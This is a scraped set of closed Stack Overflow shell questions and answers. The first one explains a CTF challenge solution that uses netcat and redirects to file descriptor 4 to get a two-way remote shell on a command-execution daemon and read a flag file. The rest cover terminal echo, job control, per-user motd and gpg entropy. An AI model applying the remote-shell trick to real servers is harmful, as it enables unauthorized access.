Closed. This question is off-topic. It is not currently accepting answers.
Want to improve this question? Update the question so it's on-topic for Stack Overflow.
Closed 9 years ago.
Improve this question
This weekend, there was a CTF wargame happening, Secuinside CTF 2013 ( http://war.secuinside.com/ )
Being a computer security enthousiast, I took a look at the challenges, and at their solutions after the CTF was over.
One of the challenges was about getting a remote shell on a server, given that a daemon called "givemeshell" is running on this server. What the daemon does is keeping a socket open on a chosen port, let's say port 12345.
When the socket receives something, the daemon takes the first 5 chars and launch them in a shell.
For example, if I send cat file, the daemon will launch the command cat f in a shell. No response is sent, so I can't know the result of the command.
The objective is to read a file containing the flag.
Now, someone gave me this solution :
$ nc 1.2.3.4 12345
4<>a
$ nc 1.2.3.4 12345
sh<&4
sh>&4
cat flag
The flag is _FLAG_
I tested this solution and it works. But after spending several hours trying to understand it, I still can't figure out what it does and why it works. I understand this is about redirecting something...
Can someone explain it to me? Thanks!
4 is your connection's file descriptor.
0 is the program stdin, 1 is the program stdout, 2 is the program stderr, when you created a socket to listen for connections it was then assigned to 3, and when it accepted your connection, a new file descriptor of number 4 was created to handle this connection.
4 is the ID of the file descriptor of your connection to the backdoor, assuming you are the first one to connect.
You then type sh<&4. It opens sh and tell it should get all input directly from your connection.
Right now you are already in full control of the shell, because sh took over and every command you send is interpreted directly by it. But you still cannot see any output!
Then you type sh>&4 to open a new level of sh inside the other saying it should push all output to your file descriptor. The trick is done! Two-way communication.
Related
Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
This question does not appear to be about a specific programming problem, a software algorithm, or software tools primarily used by programmers. If you believe the question would be on-topic on another Stack Exchange site, you can leave a comment to explain where the question may be able to be answered.
Closed 8 years ago.
Improve this question
I am using Arch Linux arm on a Raspberry Pi model B to create a small streaming solution, where the Pi is permanently connected to a TV.
Using the 'livestreamer' package, I can stream videos and pipe them to 'omxplayer'
This is the command I run in bash:
$ livestreamer https://www.youtube.com/watch?v=7EKkAy-PfN4 best -np "omxplayer -b -o hdmi"
The 'best' argument specifies to stream the video in best quality. '-np' creates a named pipe to the video player. This is necessary as simply using '-p' for a non-named pipe does not work. The '"omxplayer -b -o hdmi"' specifies to use omxplayer to play the video stream, to black the background of the video so the terminal does not show and to use hdmi for the audio output.
The problem I am having is that when the stream is completed, the terminal is left in a state where I am unable to see the commands I type but I can still execute them. The terminal resembles the state which is normally found when entering a password where the typed character cannot be seen.
This only occurs when the stream ends and the program ends itself. If the program is interrupted by the keyboard with Ctrl-C then the terminal remains normal.
Using omxplayer on its own does not cause this problem.
Please help?
Edit: This problem occur in both normal usage with keyboard connected to Pi AND over SSH.
try to switch on the tty using
stty echo
you can try in another shell turning echo off and on again, like
stty -echo // aftewards type something you should not see anything
stty echo // this must be a kind of blind typing
Closed. This question is off-topic. It is not currently accepting answers.
Want to improve this question? Update the question so it's on-topic for Stack Overflow.
Closed 9 years ago.
Improve this question
I have a script that transfers some files via ssh. I usually start the script and once I'm sure it is running okay I halt it using CTRL-Z then make it run in the background with bg.
> ./download-script.sh
Downloading...
Got file foobar.txt
Got file baz.txt
Downloading bash.txt (42%)
[2]+ Stopped download-script.sh
> bg
[1]+ download-script.sh &
>
How is this safe? It seems like the server sending the file doesn't know to wait for my process to come back online, does it?
What if I waited for an hour and then resumed the script in the background, would it continue where it left off?
My example uses an ssh file transfer, but this becomes a concern for me also when my script is interacting with most any resource.
I/O buffers will help it to withstand a little delay (ie, it will not barf if you suspend the script/command just a few seconds, at most. But more than a few secs and I think you would probably encounter other problems: TCP/UDP timeouts between origin and destination? I/O timeouts? (ex: too long to enter password, etc.)
If you have just "local" things and no timeout built-in the commands you use : for example, if you do :
tar cvf something.tar /path/to/something
and then ctrl-z it, and then bg (to awake and send to background) or fg (to awake and send to foreground) : it will work, even if you wait a loong time.
HOWEVER in the meantime you have more chance one of the file being tar-ed to be modified...
Or your shell could have a TIMEOUT/TMOUT making it stop before.
Or (any other reason, really : power off, your cat stomping on CTRL+d exiting the shell, etc)
iow: you can, unless something relies on it being "fast".
Closed. This question is off-topic. It is not currently accepting answers.
Want to improve this question? Update the question so it's on-topic for Stack Overflow.
Closed 10 years ago.
Improve this question
After connection to the ssh you get a welcome message that is fed by /etc/motd. Now I would like to have those messages per user but I am not allowed to edit /etc/motd.
So I wonder if there is something possible with ~/.ssh/motd so that those messages will be stored in the users dir. This would be great because every user shall have it's own instructions for the given path-structure.
Does someone know how to solve this?
Thanks in advance!
The "Message of the day" is a cheap way to send a message to all users. If you want to target individual users, you have these options:
Send them an email.
Edit the login script (look into /etc/profile for Bourne shells) and add a line which looks for a per-user message in a certain path and which displays that. Example:
test -e /var/motd/$LOGNAME && cat /var/motd/$LOGNAME
The second approach has the advantage that you can define which path is used (so you can use one which you can write; if you can't write /etc/motd, then you can't edit anything in ~/.ssh/ either).
You will need to be root to set this up this, of course.
Closed. This question is off-topic. It is not currently accepting answers.
Want to improve this question? Update the question so it's on-topic for Stack Overflow.
Closed 10 years ago.
Improve this question
I'm using putty to connect to a unix host where I want to generate a new gpg key.
After the Key generation started I get this message
Not enough random bytes available. Please do some other work to give
the OS a chance to collect more entropy! (Need 292 more bytes)
This isn't the real problem.
The real problem is now I cannot issue any more commands to the shell, it looks like this
dfjd
q
s
w
e
r
t
z
z
u
^_
^[[A^[[A
Why is this the case, no command gets executed anymore and why does the arrow up key show up as ^[[A?
How can I fix this and issue some commands that the key can get generated?
Your client system is likely waiting for randomness before it completes its connection to the remote server, hence your commands are being ignored until it can complete the connection.
Have you tried doing what the message says? Try opening up a big folder and looking at its size (on windows) or doing a du / (unix) to generate some disk-based randomness. Some typing may also help, depending on how your system is gathering randomness.
Knowing your client would help.
Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
This question does not appear to be about a specific programming problem, a software algorithm, or software tools primarily used by programmers. If you believe the question would be on-topic on another Stack Exchange site, you can leave a comment to explain where the question may be able to be answered.
Closed 11 months ago.
Improve this question
I've written shell scripts using escape codes to move the cursor and change the color. There are however escape codes that return a response.
I'm struggling to figure out how one reads the responses to control codes that query the terminal itself, particularly within a shell script? Codes like <ESC>[6n which is "Query Cursor Position"
It doesn't seem to be standard out or standard error as far as I can tell. I am confused.
In ZSH I do the following
~ » echo "\e[6n"
~ » 3;1R
the response to the query comes through as the next Terminal command, already typed in for me. I don't understand how. I also am unclear why bash doesn't seem to demonstrate this behavior.
What do I read this value from?
The responses come through on the channel from the terminal (or terminal emulator) to the serial port (or other tty device). That's the same channel used for transmitting characters entered at the terminal keyboard; there is no out-of-band signaling.
Since you didn't read the response after sending the query, it was interpreted as a series of keypresses by your shell. The different shells have different responses to the unusual keyboard input.
To read the response properly, you have to take the terminal out of line-based ("icanon" or "cooked") mode and read a byte at a time (from the tty, i.e. possibly stdin, the same place you'd read keyboard input from) until the terminating character is found. And there's no real way to distinguish the response from any real keypresses that happened to occur at the same time.
It's an unclean business, and if you're trying to do it in a shell script you add extra pain.